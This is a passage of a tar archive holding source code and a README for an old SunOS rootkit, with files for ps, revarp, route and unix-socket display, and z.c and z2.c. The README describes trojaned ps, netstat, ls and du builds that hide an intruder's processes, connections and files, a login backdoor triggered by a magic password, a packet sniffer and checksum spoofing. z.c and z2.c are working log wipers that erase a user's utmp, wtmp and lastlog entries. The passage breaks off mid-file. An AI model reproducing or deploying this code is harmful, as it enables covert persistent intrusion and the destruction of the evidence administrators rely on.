0; q->n_un.n_name && q->n_un.n_name[0]; q++, nreq++) { q->n_type = 0; q->n_value = 0; q->n_desc = 0; q->n_other = 0; n = strlen(q->n_un.n_name); if (n > maxlen) maxlen = n; } if ((fd == -1) || (lseek(fd, 0L, 0) == -1) || (read(fd, (char*)&buf, sizeof buf) != sizeof buf) || N_BADMAG(buf)) return (-1); sa = N_SYMOFF(buf); ss = sa + buf.a_syms; n = buf.a_syms; while (n) { m = MIN(n, sizeof (space)); lseek(fd, sa, 0); if (read(fd, (char *)space, m) != m) break; sa += m; n -= m; for (q = space; (m -= sizeof(struct nlist)) >= 0; q++) { soff = q->n_un.n_strx; if (soff == 0 || q->n_type & N_STAB) continue; /* * since we know what type of symbols we will get, * we can make a quick check here -- crl */ type = q->n_type & (N_TYPE | N_EXT); if ((q->n_type & N_TYPE) != N_ABS && type != (N_EXT | N_DATA) && type != (N_EXT | N_BSS)) continue; if ((soff + maxlen + 1) >= stroff) { /* * Read strings into local cache. * Assumes (maxlen < sizeof (strs)). */ lseek(fd, ss+soff, 0); read(fd, strs, sizeof strs); stroff = soff + sizeof (strs); } /* if using wchans, add it to the list of channels */ if (!nflg && !gotwchans) addchan(&strs[soff-(stroff-sizeof (strs))+1], (caddr_t) q->n_value); for (p = list; p->n_un.n_name && p->n_un.n_name[0]; p++) { if (p->n_type == 0 && strcmp(p->n_un.n_name, &strs[soff-(stroff-sizeof (strs))]) == 0) { p->n_value = q->n_value; p->n_type = q->n_type; p->n_desc = q->n_desc; p->n_other = q->n_other; if (--nreq == 0 && (nflg || gotwchans)) goto alldone; break; } } } } alldone: return (nreq); } /* * add the given channel to the channel list */ addchan(name, caddr) char *name; caddr_t caddr; { static int left = 0; register struct wchan *wp; register char **p; register struct wchan_map *mp; for (p = wchan_stop_list; *p; p++) { if (**p != *name) /* quick check first */ continue; if (strncmp(name, *p, WNAMESIZ) == 0) return; /* if found, don't add */ } for (mp = wchan_map_list; mp->map_from; mp++) { if (*(mp->map_from) != *name) /* quick check first */ continue; if (strncmp(name, mp->map_from, WNAMESIZ) == 0) name = mp->map_to; /* if found, remap */ } if (left == 0) { if (wchanhd) { left = 100; wchanhd = (struct wchan *) realloc(wchanhd, (nchans + left) * sizeof (struct wchan)); } else { left = 600; wchanhd = (struct wchan *) malloc(left * sizeof (struct wchan)); } if (wchanhd == NULL) { fprintf(stderr, "ps: out of memory allocating wait channels\n"); nflg++; return; } } left--; wp = &wchanhd[nchans++]; strncpy(wp->wc_name, name, WNAMESIZ); wp->wc_name[WNAMESIZ] = '\0'; wp->wc_caddr = caddr; } /* * returns the symbolic wait channel corresponding to chan */ char * getchan(chan) register caddr_t chan; { register i, iend; register char *prevsym; register struct wchan *wp; prevsym = "???"; /* nothing, to begin with */ if (chan) { for (i = 0; i < NWCINDEX; i++) if ((unsigned) chan < (unsigned) wchan_index[i]) break; iend = i--; if (i < 0) /* can't be found */ return prevsym; iend *= nchans; iend /= NWCINDEX; i *= nchans; i /= NWCINDEX; wp = &wchanhd[i]; for ( ; i < iend; i++, wp++) { if ((unsigned) wp->wc_caddr > (unsigned) chan) break; prevsym = wp->wc_name; } } return prevsym; } /* * used in sorting the wait channel array */ int wchancomp (w1, w2) struct wchan *w1, *w2; { register unsigned c1, c2; c1 = (unsigned) w1->wc_caddr; c2 = (unsigned) w2->wc_caddr; if (c1 > c2) return 1; else if (c1 == c2) return 0; else return -1; } usage() { fprintf(stderr, "ps: usage: ps [-acCegjklnrStuvwxU] [num] [kernel_name] [c_dump_file] [swap_file]\n"); } revarp.c100600 0 0 25631 77607620340 10652 0ustar rootroot/* @(#)revarp.c 1.1 91/11/13 SMI */ /* * Copyright (c) 1990 by Sun Microsystems, Inc. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define NIT_DEV "/dev/nit" #define BUFSIZE 10000 #define MAXIFS 16 static struct ether_addr my_etheraddr; static struct ether_addr targ_etheraddr; struct ether_addr etherbroadcast = {{ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }}; /* global flags - should come from command line*/ int debug = 0; int safe = 0; /* globals from ifconfig.c */ extern int setaddr; extern char name[]; extern struct sockaddr_in sin; static void get_etheraddr (); /* get ethernet addr from IF */ extern char *malloc(); extern char *inet_ntoa(); struct rarp_request { struct ether_header rr_eheader; struct ether_arp rr_arpheader; u_short rr_len; /* not part of the protocol; fill in at "read" time */ }; #ifdef REVARP_MAIN main(argc, argv) int argc; char **argv; { struct ifreq reqbuf [MAXIFS]; struct ifreq *ifr; struct ifconf ifc; char *cmdname; char *targethost = (char *) 0; int s; int n; int c; extern char *optarg; extern int optind; cmdname = argv[0]; while ((c = getopt(argc, argv, "adf:nv")) != -1) { switch ((char) c) { case 'a': allflag++; break; case 'd': debug++; break; case 'f': targethost = optarg; break; case 'n': safe++; break; case 'v': verbose++; break; case '?': usage(cmdname); exit(1); } } if (allflag) { if ((s = socket (AF_INET, SOCK_DGRAM, 0)) < 0) { perror ("socket"); exit (1); } ifc.ifc_buf = (caddr_t) &reqbuf [0]; ifc.ifc_len = sizeof (reqbuf); if (ioctl (s, SIOCGIFCONF, (char *) &ifc) < 0) { perror ("ioctl SIOCGIFCONF"); exit (1); } ifr = ifc.ifc_req; n = ifc.ifc_len / sizeof (struct ifreq); for (; n > 0 ; n--, ifr++) { if (ioctl (s, SIOCGIFFLAGS, (char *) ifr) < 0) { perror ("ioctl SIOCGIFFLAGS"); exit (1); } if ((ifr->ifr_flags & IFF_LOOPBACK) || (ifr->ifr_flags & IFF_NOARP) || (ifr->ifr_flags & IFF_POINTOPOINT)) continue; do_revarp(ifr->ifr_name, targethost); } exit(0); } if (optind >= argc) { /* no interface names were specified */ usage(cmdname); exit(1); } for (; optind < argc; optind++) { do_revarp(argv[optind], targethost); } } #endif alarmclock() { fprintf(stderr, "%s: RARP timed out.\n", name); resetifup(); fflush(stderr); exit(1); } int origflags; /* temporarily set interface flags to IFF_UP so that we can send the revarp */ setifup() { int s; struct ifreq ifr; if ((s = socket (AF_INET, SOCK_DGRAM, 0)) < 0) { perror ("socket"); exit (1); } strncpy (ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl (s, SIOCGIFFLAGS, (char *) &ifr) < 0) { perror ("ioctl SIOCGIFFLAGS"); exit (1); } origflags = ifr.ifr_flags; ifr.ifr_flags |= IFF_UP; if (ioctl (s, SIOCSIFFLAGS, (char *) &ifr) < 0) { perror ("ioctl SIOCSIFFLAGS"); exit (1); } } resetifup() { int s; struct ifreq ifr; if ((s = socket (AF_INET, SOCK_DGRAM, 0)) < 0) { perror ("socket"); exit (1); } strncpy (ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl (s, SIOCGIFFLAGS, (char *) &ifr) < 0) { perror ("ioctl SIOCGIFFLAGS"); exit (1); } ifr.ifr_flags = origflags; if (ioctl (s, SIOCSIFFLAGS, (char *) &ifr) < 0) { perror ("ioctl SIOCSIFFLAGS"); exit (1); } } setifrevarp(arg, param) char *arg; int param; { register int i; char *buf, *cause; struct rarp_request req; struct rarp_request ans; char host[256]; struct timeval now, then; struct in_addr from; struct in_addr answer; int received = 0; int bad; static int if_fd; /* NIT stream with filter */ int s; struct ifreq ifr; if (name == (char *) 0) { fprintf(stderr, "setifrevarp: name not set\n"); exit(1); } if (debug) printf("setifrevarp interface %s\n", name); if ((s = socket (AF_INET, SOCK_DGRAM, 0)) < 0) { perror ("socket"); exit (1); } strncpy (ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl (s, SIOCGIFFLAGS, (char *) &ifr) < 0) { perror ("ioctl SIOCGIFFLAGS"); exit (1); } /* Don't try to revarp if we know it won't work. */ if ((ifr.ifr_flags & IFF_LOOPBACK) || (ifr.ifr_flags & IFF_NOARP) || (ifr.ifr_flags & IFF_POINTOPOINT)) return; /* * Open interface and pull out goodies: * ieee802 (48 bit) address, IP address, IP subnet mask */ if_fd = rarp_open (name, htons(ETHERTYPE_REVARP)); if (if_fd < 0) { exit(1); } get_etheraddr(if_fd, name, &my_etheraddr); if (debug) { printf("my_etheraddr = %s\n", ether_ntoa(&my_etheraddr)); } /* create the request */ bzero ((char *) &req, sizeof(req)); bcopy ((char *) ðerbroadcast, (char *) &req.rr_eheader.ether_dhost, sizeof(etherbroadcast)); bcopy ((char *) &my_etheraddr, (char *) &req.rr_eheader.ether_shost, sizeof(my_etheraddr)); req.rr_eheader.ether_type = ETHERTYPE_REVARP; req.rr_arpheader.arp_hrd = ARPHRD_ETHER; req.rr_arpheader.arp_pro= ETHERTYPE_IP; req.rr_arpheader.arp_hln= 6; req.rr_arpheader.arp_pln= 4; req.rr_arpheader.arp_op= REVARP_REQUEST; bcopy ((char *) &my_etheraddr, (char *)&req.rr_arpheader.arp_sha, sizeof(my_etheraddr)); /* don't know arp_spa */ bcopy ((char *) &my_etheraddr, (char *)&req.rr_arpheader.arp_tha, sizeof(my_etheraddr)); /* don't know arp_tpa */ setifup(); /* send the request */ i = sizeof(req) - sizeof(req.rr_len); req.rr_len = i; if (rarp_write (if_fd, (char *) &req, i) != i) { perror("write if_fd"); exit(1); } if (debug) printf("rarp sent.\n"); signal(SIGALRM, alarmclock); alarm(10); /* read the answers */ buf = malloc(BUFSIZE); for ( ; ; received++) { if ((i = read(if_fd, buf, BUFSIZE)) < 0) { perror("rarpd: read"); exit(11); } bcopy (buf, (char *) &ans, sizeof (ans)); ans.rr_len = i; /* * Sanity checks ... set i to sizeof an rarp packet */ i = sizeof (ans) - sizeof (ans.rr_len); cause = 0; if (ans.rr_len < i) cause="rr_len"; else if (ans.rr_eheader.ether_type != ntohs(ETHERTYPE_REVARP)) cause="type"; else if (ans.rr_arpheader.arp_hrd != htons(ARPHRD_ETHER)) cause="hrd"; else if (ans.rr_arpheader.arp_pro != htons(ETHERTYPE_IP)) cause="pro"; else if (ans.rr_arpheader.arp_hln != 6) cause="hln"; else if (ans.rr_arpheader.arp_pln != 4) cause="pln"; if (cause) { (void) fprintf(stderr, "sanity check failed; cause: %s\n", cause); continue; } switch (ntohs(ans.rr_arpheader.arp_op)) { case ARPOP_REQUEST: if (debug) printf("Got an arp request\n"); break; case ARPOP_REPLY: if (debug) printf("Got an arp reply.\n"); break; case REVARP_REQUEST: if (debug) printf ("Got an rarp request.\n"); break; case REVARP_REPLY: bcopy (ans.rr_arpheader.arp_tpa, &answer, sizeof(answer)); bcopy (ans.rr_arpheader.arp_spa, &from, sizeof(from)); if (debug) { printf("Answer: %s", inet_ntoa(answer)); printf(" [from %s]\n", inet_ntoa(from)); } sin.sin_addr.s_addr = answer.s_addr; if (!safe) { setaddr++; resetifup(); return; } break; default: (void) fprintf (stderr, "unknown opcode 0x%xd\n", ans.rr_arpheader.arp_op); bad++; break; } } } /* * Obtain the Ethernet address of the interface named * by dev (and bound to fd), assigning it to *ap. */ static void get_etheraddr(fd, dev, ap) int fd; char *dev; struct ether_addr *ap; { struct strioctl si; struct ifreq ifr; (void) strncpy(ifr.ifr_name, dev, sizeof ifr.ifr_name); si.ic_timout = INFTIM; si.ic_cmd = SIOCGIFADDR; si.ic_len = sizeof ifr; si.ic_dp = (char *)𝔦 if (ioctl(fd, I_STR, (char *)&si) < 0) { perror("ioctl (I_STR: SIOCGIFADDR)"); exit(15); } *ap = *(struct ether_addr *) &ifr.ifr_addr.sa_data[0]; } /* * Open the NIT device, and establish the following characteristics. * 1) Bind it to device. * 2) Push an instance of the packet-filtering module on it that passes * through only packets whose Ethernet type field is type. * 3) Set it into message-discard mode. * * Return the resulting descriptor. */ static int rarp_open(device, type) char *device; u_short type; { struct strioctl si; struct ifreq ifr; struct ether_header eh; /* used only for offset values */ struct packetfilt pf; register u_short *fwp; register int fd; if ((fd = open(NIT_DEV, O_RDWR)) < 0) { perror("nit open"); return (-1); } if (ioctl(fd, I_SRDOPT, (char *)RMSGD) < 0) { perror("ioctl (I_SRDOPT)"); return (-2); } /* * Push the packet filtering module. */ if (ioctl(fd, I_PUSH, "pf") < 0) { perror("ioctl (I_PUSH \"pf\")"); return (-3); } /* * Set up filter. */ fwp = &pf.Pf_Filter[0]; *fwp++ = ENF_PUSHWORD + ((u_int) &eh.ether_type - (u_int) &eh.ether_dhost) / sizeof (u_short); *fwp++ = ENF_PUSHLIT | ENF_EQ; *fwp++ = type; /* arg is in network byte order */ pf.Pf_FilterLen = fwp - &pf.Pf_Filter[0]; pf.Pf_Priority = 5; /* unimportant, so long as > 2 */ /* * Package up the NIOCSETF ioctl and issue it. */ si.ic_cmd = NIOCSETF; si.ic_timout = INFTIM; si.ic_len = sizeof pf; si.ic_dp = (char *)&pf; if (ioctl(fd, I_STR, (char *)&si) < 0) { perror("ioctl (I_STR: NIOCSETF)"); return (-4); } /* * We defer the bind until after we've pushed the filter * to prevent our being flooded with extraneous packets. */ (void) strncpy(ifr.ifr_name, device, sizeof ifr.ifr_name - 1); ifr.ifr_name[sizeof ifr.ifr_name - 1] = '\0'; /* * Package so the stream head can cope with it. */ si.ic_cmd = NIOCBIND; si.ic_len = sizeof ifr; si.ic_dp = (char *)𝔦 if (ioctl(fd, I_STR, (char *)&si) < 0) { perror("ioctl (I_STR: NIOCBIND)"); return (-5); } return (fd); } usage(cmdname) char *cmdname; { (void) fprintf(stderr, "Usage: %s [-a] [-d] [-n] [-v] [ . . .]\n", cmdname); } static int rarp_write(fd, buf, len) int fd, len; char *buf; { struct sockaddr sa; struct strbuf cbuf, dbuf; /* * Sleaze! Offset used ambiguously, taking advantage of fact that * sizeof sa.sa_data == sizeof (struct ether_header). */ register int offset = sizeof(sa.sa_data); sa.sa_family = AF_UNSPEC; bcopy(buf, sa.sa_data, offset); /* * Set up NIT (write-side) protocol info. */ cbuf.maxlen = cbuf.len = sizeof sa; cbuf.buf = (char *)&sa; /* * The interface output routines will paste the * ether header back onto the front of the message. */ dbuf.maxlen = dbuf.len = len - offset; dbuf.buf = buf + offset; if (putmsg(fd, &cbuf, &dbuf, 0) < 0) { perror("rarp_write: putmsg"); return (-1); } return (len); } rootkit.README100600 0 0 7422 77607620340 11537 0ustar rootroot------------------ rootkit release 1. ------------------ After spending tons of time having to do all of this by myself, I finally decided to write a simple makefile to do it for me. Call me a script cracker, but I'm lazy as hell. You don't want to use it, you don't have to. Keep in mind it takes me a max of 40 seconds on a 4/65 to compile and install every program here. Can you beat that by hand? :-) Here is how it works: execute the command: ` make all install ' The following programs will be installed suid root in DESTDIR: z2: removes entries from utmp, wtmp, and lastlog. es: rokstar's ethernet sniffer for sun4 based kernels. fix: try to fake checksums, install with same dates/perms/u/g. note: if you do not want these files installed suid (the administrator has a cron to check for suid files, or the like), then type make cleansuid and the suid bits will be removed. The following programs will be patched and an attempt at spoofing the checksums of the files will be made. Also, these files will be installed with the same dates, permissions, owners, and groups of the originals. sl: become root via a magic password sent to login. ic: modified ifconfig to remove PROMISC flag from output. ps: ns: ls: du5: ls5: Here are some notes on the patch for `ps`: 1. This doesn't modify the process lists, so your processes are STILL in memory, but ps just won't administrator has another copy of ps sitting on Best to search for SGID kmem programs to be fairly sure. 2. An example /dev/ptyp file is as follows: 0 0 Strips all processes running under root 1 p0 Strips tty p0 2 sniffer Strips all programs with the name sniffer 3. Do not leave a NULL string anywhere in the file. During testing, I often pressed return after my last control statement. Do not do this as it will cause a meory fault. Do not use a character as the first line in the control file. Remember to convert the UID's you wished masked to thier numerical format. 4. Programs such as "top" will still show processes running. This is bad. I'm working on a patch. Here are some notes on the patch for `netstat`: 1. This doesn't modify network listings, so your network connections are STILL in memory, but `netstat` just won't display them. If another copy of `netstat` is run on the machine, it will produce accurate results. Best to search for SGID kmem programs to be fairly sure. 2. An example /dev/ptyq file is as follows: 0 6667 # Strip all foreign irc network connections 1 23 # Strip all local telnet connections 2 .209.5 # Strip all foreign connections from cert.org 3 .175.9.8 # Strip all local connections to netsys4.netsys.com 3. Do not leave a NULL string anywhere in the file. It will cause a memory fault. When stripping addresses, a string search is used to compare addresses in the control file with actaul network connections. This could cause minor problems. 4. It would probably be better to only strip the address ONCE for each line in the control file. Adding such commands is trivial. Check `inet.c` for modifications. Here are some notes on the patch for `ls` && `du` && `du5` && `ls5`: 1. ls and du are trojaned and your files will not be listed unless you issue a / flag. 2. Example /dev/ptyr sunsnif # Strip the filename sunsnif icmpfake # Strip the filename icmpfake 3. Would be useful if stripping uids, and gids was included. ---- later eleetz, have fun and don't fuq shit up, all it duz iz get people put in jail. werd. route.c100600 0 0 20771 77607620340 10511 0ustar rootroot/* * Copyright (c) 1983 Regents of the University of California. * All rights reserved. The Berkeley software License Agreement * specifies the terms and conditions for redistribution. */ #ifndef lint static char sccsid[] = "@(#)route.c 1.1 91/11/13 SMI"; /* from UCB 5.6 86/04/23 */ #endif #include #include #include #include #include #include #ifdef ENABLE_XNS #include #endif ENABLE_XNS #include extern int kread(); extern int nflag; extern char *routename(), *netname(), *inet_ntoa(); #ifdef ENABLE_XNS extern char *ns_print(); #endif ENABLE_XNS /* * Definitions for showing gateway flags. */ struct bits { short b_mask; char b_val; } bits[] = { { RTF_UP, 'U' }, { RTF_GATEWAY, 'G' }, { RTF_HOST, 'H' }, { RTF_DYNAMIC, 'D' }, { 0 } }; /* * Print routing tables. */ routepr(hostaddr, netaddr, hashsizeaddr) off_t hostaddr, netaddr, hashsizeaddr; { struct mbuf mb; register struct rtentry *rt; register struct mbuf *m; register struct bits *p; char name[16], *flags; struct mbuf **routehash; struct ifnet ifnet; int hashsize; int i, doinghost = 1; if (hostaddr == 0) { printf("rthost: symbol not in namelist\n"); return; } if (netaddr == 0) { printf("rtnet: symbol not in namelist\n"); return; } if (hashsizeaddr == 0) { printf("rthashsize: symbol not in namelist\n"); return; } kread(hashsizeaddr, &hashsize, sizeof (hashsize)); routehash = (struct mbuf **)malloc( hashsize*sizeof (struct mbuf *) ); kread(hostaddr, routehash, hashsize*sizeof (struct mbuf *)); printf("Routing tables\n"); printf("%-20.20s %-20.20s %-8.8s %-6.6s %-10.10s %s\n", "Destination", "Gateway", "Flags", "Refcnt", "Use", "Interface"); again: for (i = 0; i < hashsize; i++) { if (routehash[i] == 0) continue; m = routehash[i]; while (m) { struct sockaddr_in *sin; kread(m, &mb, sizeof (mb)); rt = mtod(&mb, struct rtentry *); if ((unsigned)rt < (unsigned)&mb || (unsigned)rt >= (unsigned)(&mb + 1)) { printf("???\n"); return; } switch(rt->rt_dst.sa_family) { case AF_INET: sin = (struct sockaddr_in *)&rt->rt_dst; printf("%-20.20s ", (sin->sin_addr.s_addr == 0) ? "default" : (rt->rt_flags & RTF_HOST) ? routename(sin->sin_addr) : netname(sin->sin_addr.s_addr, 0)); sin = (struct sockaddr_in *)&rt->rt_gateway; printf("%-20.20s ", routename(sin->sin_addr)); break; #ifdef ENABLE_XNS case AF_NS: printf("%-20s ", ns_print((struct sockaddr_ns *)&rt->rt_dst)); printf("%-20s ", ns_print((struct sockaddr_ns *)&rt->rt_gateway)); break; #endif ENABLE_XNS default: { u_short *s = (u_short *)rt->rt_dst.sa_data; printf("(%d)%x %x %x %x %x %x %x ", rt->rt_dst.sa_family, s[0], s[1], s[2], s[3], s[4], s[5], s[6]); s = (u_short *)rt->rt_gateway.sa_data; printf("(%d)%x %x %x %x %x %x %x ", rt->rt_gateway.sa_family, s[0], s[1], s[2], s[3], s[4], s[5], s[6]); } } for (flags = name, p = bits; p->b_mask; p++) if (p->b_mask & rt->rt_flags) *flags++ = p->b_val; *flags = '\0'; printf("%-8.8s %-6d %-10d ", name, rt->rt_refcnt, rt->rt_use); if (rt->rt_ifp == 0) { putchar('\n'); m = mb.m_next; continue; } kread(rt->rt_ifp, &ifnet, sizeof (ifnet)); kread((int)ifnet.if_name, name, 16); printf("%s%d\n", name, ifnet.if_unit); m = mb.m_next; } } if (doinghost) { kread(netaddr, routehash, hashsize*sizeof (struct mbuf *)); doinghost = 0; goto again; } free(routehash); } char * routename(in) struct in_addr in; /* in network order */ { register char *cp; static char line[50]; struct hostent *hp; static char domain[MAXHOSTNAMELEN + 1]; static int first = 1; char *index(); if (first) { /* * Record domain name for future reference. Check * first for the 4.3bsd convention of keeping it as * part of the hostname. Failing that, try extracting * it using the domainname system call. */ first = 0; if (gethostname(domain, MAXHOSTNAMELEN) == 0 && (cp = index(domain, '.'))) (void) strcpy(domain, cp + 1); else if (getdomainname(domain, MAXHOSTNAMELEN) < 0) domain[0] = 0; } cp = 0; if (!nflag) { hp = gethostbyaddr(&in, sizeof (struct in_addr), AF_INET); if (hp) { /* * If the hostname contains a domain part, * and it's the same as the local domain, * elide it. */ if ((cp = index(hp->h_name, '.')) && !strcmp(cp + 1, domain)) *cp = 0; cp = hp->h_name; } } if (cp) strcpy(line, cp); else strcpy(line, inet_ntoa(in)); return (line); } /* * Return the name of the network whose address is given. * The address is assumed to be that of a net or subnet, not a host. */ char * netname(iaddr, mask) u_long iaddr; u_long mask; { char *cp = 0; static char line[50]; struct in_addr in; in.s_addr = ntohl(iaddr); if (!nflag && in.s_addr) { struct netent *np = 0; struct hostent *hp; u_long net; if (mask == 0) { register u_long i = in.s_addr; int subnetshift; if (IN_CLASSA(i)) { mask = IN_CLASSA_NET; subnetshift = 8; } else if (IN_CLASSB(i)) { mask = IN_CLASSB_NET; subnetshift = 8; } else { mask = IN_CLASSC_NET; subnetshift = 4; } /* * If there are more bits than the standard mask * would suggest, subnets must be in use. * Guess at the subnet mask, assuming reasonable * width subnet fields. */ while (in.s_addr &~ mask) mask = (long)mask >> subnetshift; } net = in.s_addr & mask; /* * Right-justify the network number. * * This is a throw-back to the old conventions used in the * kernel. We now store it left-justified in the kernel, * but still right-justified in the NIS maps for backward * compatibility. */ while ((mask & 1) == 0) mask >>= 1, net >>= 1; np = getnetbyaddr(net, AF_INET); if (np && np->n_net == net) cp = np->n_name; else { /* * gethostbyaddr takes network order; above * wanted host order. */ in.s_addr = iaddr; hp = gethostbyaddr(&in,sizeof(struct in_addr),AF_INET); if (hp) cp = hp->h_name; } } if (cp) strcpy(line, cp); else { in.s_addr = iaddr; strcpy(line, inet_ntoa(in)); } return (line); } /* * Print routing statistics */ rt_stats(off) off_t off; { struct rtstat rtstat; if (off == 0) { printf("rtstat: symbol not in namelist\n"); return; } kread(off, (char *)&rtstat, sizeof (rtstat)); printf("routing:\n"); printf("\t%d bad routing redirect%s\n", rtstat.rts_badredirect, plural(rtstat.rts_badredirect)); printf("\t%d dynamically created route%s\n", rtstat.rts_dynamic, plural(rtstat.rts_dynamic)); printf("\t%d new gateway%s due to redirects\n", rtstat.rts_newgateway, plural(rtstat.rts_newgateway)); printf("\t%d destination%s found unreachable\n", rtstat.rts_unreach, plural(rtstat.rts_unreach)); printf("\t%d use%s of a wildcard route\n", rtstat.rts_wildcard, plural(rtstat.rts_wildcard)); } #ifdef ENABLE_XNS short ns_nullh[] = {0,0,0}; short ns_bh[] = {-1,-1,-1}; char * ns_print(sns) struct sockaddr_ns *sns; { struct ns_addr work; union { union ns_net net_e; u_long long_e; } net; u_short port; static char mybuf[50], cport[10], chost[25]; char *host = ""; register char *p; register u_char *q; u_char *q_lim; work = sns->sns_addr; port = ntohs(work.x_port); work.x_port = 0; net.net_e = work.x_net; if (ns_nullhost(work) && net.long_e == 0) { if (port ) { sprintf(mybuf, "*.%xH", port); upHex(mybuf); } else sprintf(mybuf, "*.*"); return (mybuf); } if (bcmp(ns_bh, work.x_host.c_host, 6) == 0) { host = "any"; } else if (bcmp(ns_nullh, work.x_host.c_host, 6) == 0) { host = "*"; } else { q = work.x_host.c_host; sprintf(chost, "%02x%02x%02x%02x%02x%02xH", q[0], q[1], q[2], q[3], q[4], q[5]); for (p = chost; *p == '0' && p < chost + 12; p++); host = p; } if (port) sprintf(cport, ".%xH", htons(port)); else *cport = 0; sprintf(mybuf,"%xH.%s%s", ntohl(net.long_e), host, cport); upHex(mybuf); return(mybuf); } char * ns_phost(sns) struct sockaddr_ns *sns; { struct sockaddr_ns work; static union ns_net ns_zeronet; char *p; work = *sns; work.sns_addr.x_port = 0; work.sns_addr.x_net = ns_zeronet; p = ns_print(&work); if (strncmp("0H.", p, 3) == 0) p += 3; return(p); } upHex(p0) char *p0; { register char *p = p0; for (; *p; p++) switch (*p) { case 'a': case 'b': case 'c': case 'd': case 'e': case 'f': *p += ('A' - 'a'); } } #endif ENABLE_XNS test.c100600 0 0 230 77607620340 10256 0ustar rootroot #include "magic.h" #include "code.h" main() { char *a = "test1"; code(a); code(a); code(magic); printf("%s\n",a); printf("%s\n",magic); } unix.c100600 0 0 5372 77607620340 10316 0ustar rootroot/* * Copyright (c) 1983 Regents of the University of California. * All rights reserved. The Berkeley software License Agreement * specifies the terms and conditions for redistribution. */ #ifndef lint static char sccsid[] = "@(#)unix.c 1.1 91/11/13 SMI"; /* from UCB 5.3 5/8/86 */ #endif /* * Display protocol blocks in the unix domain. */ #include #include #include #include #include #include #include #define KERNEL #include int Aflag; int kread(); unixpr(nfileaddr, fileaddr, unixsw) off_t nfileaddr, fileaddr; struct protosw *unixsw; { register struct file *fp; struct file *filep; struct socket sock, *so = &sock; if (nfileaddr == 0 || fileaddr == 0) { printf("nfile or file not in namelist.\n"); return; } if (kread(nfileaddr, &nfile, sizeof (nfile)) != sizeof (nfile)) { printf("nfile: bad read.\n"); return; } if (kread(fileaddr, &filep, sizeof (filep)) != sizeof (filep)) { printf("File table address, bad read.\n"); return; } file = (struct file *)calloc(nfile, sizeof (struct file)); if (file == (struct file *)0) { printf("Out of memory (file table).\n"); return; } if (kread((off_t)filep, file, nfile * sizeof (struct file)) != nfile * sizeof (struct file)) { printf("File table read error.\n"); return; } fileNFILE = file + nfile; for (fp = file; fp < fileNFILE; fp++) { if (fp->f_count == 0 || fp->f_type != DTYPE_SOCKET) continue; if (kread(fp->f_data, so, sizeof (*so)) != sizeof (*so)) continue; /* kludge */ if (so->so_proto >= unixsw && so->so_proto <= unixsw + 2) if (so->so_pcb) unixdomainpr(so, fp->f_data); } free((char *)file); } static char *socktype[] = { "#0", "stream", "dgram", "raw", "rdm", "seqpacket" }; unixdomainpr(so, soaddr) register struct socket *so; caddr_t soaddr; { struct unpcb unpcb, *unp = &unpcb; struct mbuf mbuf, *m; struct sockaddr_un *sa; static int first = 1; if (kread(so->so_pcb, unp, sizeof (*unp)) != sizeof (*unp)) return; if (unp->unp_addr) { m = &mbuf; if (kread(unp->unp_addr, m, sizeof (*m)) != sizeof (*m)) m = (struct mbuf *)0; sa = mtod(m, struct sockaddr_un *); } else m = (struct mbuf *)0; if (first) { printf("Active UNIX domain sockets\n"); printf( "%-8.8s %-6.6s %-6.6s %-6.6s %8.8s %8.8s %8.8s %8.8s Addr\n", "Address", "Type", "Recv-Q", "Send-Q", "Vnode", "Conn", "Refs", "Nextref"); first = 0; } printf("%8x %-6.6s %6d %6d %8x %8x %8x %8x", soaddr, socktype[so->so_type], so->so_rcv.sb_cc, so->so_snd.sb_cc, unp->unp_vnode, unp->unp_conn, unp->unp_refs, unp->unp_nextref); if (m) printf(" %.*s", m->m_len - sizeof(sa->sun_family), sa->sun_path); putchar('\n'); } z.c100600 0 0 3641 77607620340 7601 0ustar rootroot#include #include #include #include #include #include #include #ifndef AIX #include #endif #ifdef SYSV #define WTMP_NAME "/etc/wtmp" #else #define WTMP_NAME "/usr/adm/wtmp" #endif #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; if((f=open(WTMP_NAME, O_RDWR)) < 0) return 1; for(pos=1L;;) { lseek(f,-(long)(sizeof(struct utmp)*pos), L_XTND); if(read(f, &utmp_ent, sizeof(struct utmp)) <= 0) break; if(!strncmp(utmp_ent.ut_name, who, strlen(who))) { bzero((char*)&utmp_ent,sizeof(struct utmp)); lseek(f, -(long)(sizeof(struct utmp)*pos), L_XTND); write(f, &utmp_ent, sizeof(utmp_ent)); break; } pos+=1L; } close(f); return 0; } kill_utmp(who) char *who; { struct utmp utmp_ent; if((f=open(UTMP_NAME, O_RDWR)) < 0) return 1; while(read(f, &utmp_ent, sizeof(utmp_ent)) > 0) if(!strncmp(utmp_ent.ut_name, who, strlen(who))) { bzero((char *)&utmp_ent, sizeof(utmp_ent)); lseek(f, -(long)sizeof(utmp_ent), SEEK_CUR); write(f, &utmp_ent, sizeof(utmp_ent)); } close(f); return 0; } kill_lastlog(who) char *who; { #ifdef AIX system("cp /etc/security/olastlog /etc/security/lastlog"); #else struct passwd *pwd; struct lastlog newll; if(!(pwd=getpwnam(who))) { puts(who); puts("?"); return 1; } if((f=open(LASTLOG_NAME, O_RDWR)) < 0) return 1; lseek(f, (long)(pwd->pw_uid*sizeof(struct lastlog)), 0); bzero((char*)&newll, sizeof(newll)); write(f, (char*)&newll, sizeof(newll)); close(f); #endif return 0; } main(c, v) char **v; { int r=0, n=1; if(c < 2) { puts("Error"); return 1; } if(c == 3) n=atoi(v[2]); while(n--)r|=kill_wtmp(v[1])|kill_utmp(v[1])|kill_lastlog(v[1]); puts(r?"Error":"Zap!"); return r; } z2.c100600 0 0 3720 77607620340 7661 0ustar rootroot #include #include #include #include #include #include #include #include #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp 